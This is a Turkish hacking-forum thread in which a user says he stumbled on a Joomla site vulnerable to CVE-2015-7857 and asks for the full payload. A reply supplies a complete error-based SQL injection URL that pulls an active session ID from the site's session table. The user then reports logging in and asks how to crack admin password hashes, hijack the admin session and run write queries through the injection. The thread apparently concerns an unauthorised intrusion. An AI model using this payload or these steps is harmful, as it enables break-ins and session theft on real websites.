merhebalar altaki sorudaki sorunu çzdüm ve siteye giriş yaptım fakat bir sıkıntım var :D joomla tablolarının içindeki users tablosundan admin şifresini çekyiorum fakat : şeklinde doğal olarak bunu kırmanın yolu varmıdır? bir de session tablosunu çekip içindeki bilgiyi cookie managerdan girerek admin girişi sağlamaya çalışıyorum yine olmuyor. sql le tüm tabloları grebiliyorum ama paneli giremiyorum bunu nasıl başarabilirz :D ek bir soru: sql inj de update insert delete sorgularını gerçekleştirmenin bir yolu varmı? eski konu başlığı: Joomla session hijacking CVE-2015-7857 Merhabalar bir web sitesi üstünde ylesine bakınıyordum şu açığı grdüm ilk linki yazdım ve sonuç aldım ama videoda tam olarak 2. linkteki yazıyı tam gremiyorum nette biraz araştırdım ama bir türlü cümlenin sonunu bulamadım bu konuda yardım edebilecek varmı? video link : https://www.youtube.com/watch?v=PBZsl2X3ZXo furkiak tarafından 06/Şub/17 16:09 tarihinde düzenlenmiştir Android Mobil Uygulama - Web Sitesi - Masaüstü Yazılım yapılır. Vitaminsiz Palyaço

Bu açık adı sanı belli o yüzden farklı dilden epey rnek bulunabilir. Ben onlara bakıp sadece açığın kontrolünü yapan, sesionId'yi ekrana basmayan rnekler olduğundan buraya sorduğunu varsayıyorum. Yok değilse ayıptır sabah sabah :/ Tam grünmeyen kısım URL'nin son parametresindeki SQL sorgusunun bir kısmı. Bu kısımda girilenler videoda 02:04'de hata mesajında açıkça grünüyor. Sağlamasını aşağıda resimde greceğin şekilde yaptım. Tam hali de bu: index. php?option=com_contenthistory&view=history&list =(select col. a from (select count , concat(0x3a, 0x3a, (select substr(session_id,1,100) from i1q45_session where guest = 0 limit 0,1), 0x3a, 0x3a, floor(rand 2)) a from information_schema. columns i1 group by a) col),'A' union select uc. id hocam saolasın giriş başarılı şekilde yapıldı :) Android Mobil Uygulama - Web Sitesi - Masaüstü Yazılım yapılır. Vitaminsiz Palyaço

soruyu değiştirdim konu fazlalığı olmasın diyerek up olsun Android Mobil Uygulama - Web Sitesi - Masaüstü Yazılım yapılır. Vitaminsiz Palyaço

joomla hack olaylarından bir türlü kendini sıyıramadı gitti :) yıllardır byleler

Bu açık adı sanı belli o yüzden farklı dilden epey rnek bulunabilir. Ben onlara bakıp sadece açığın kontrolünü yapan, sesionId'yi ekrana basmayan rnekler olduğundan buraya sorduğunu varsayıyorum. Yok değilse ayıptır sabah sabah :/ Tam grünmeyen kısım URL'nin son parametresindeki SQL sorgusunun bir kısmı. Bu kısımda girilenler videoda 02:04'de hata mesajında açıkça grünüyor. Sağlamasını aşağıda resimde greceğin şekilde yaptım. Tam hali de bu: index. php?option=com_contenthistory&view=history&list =(select col. a from (select count , concat(0x3a, 0x3a, (select substr(session_id,1,100) from i1q45_session where guest = 0 limit 0,1), 0x3a, 0x3a, floor(rand 2)) a from information_schema. columns i1 group by a) col),'A' union select uc. id buzukatak tarafından 06/Şub/17 05:41 tarihinde düzenlenmiştir anlıyorum.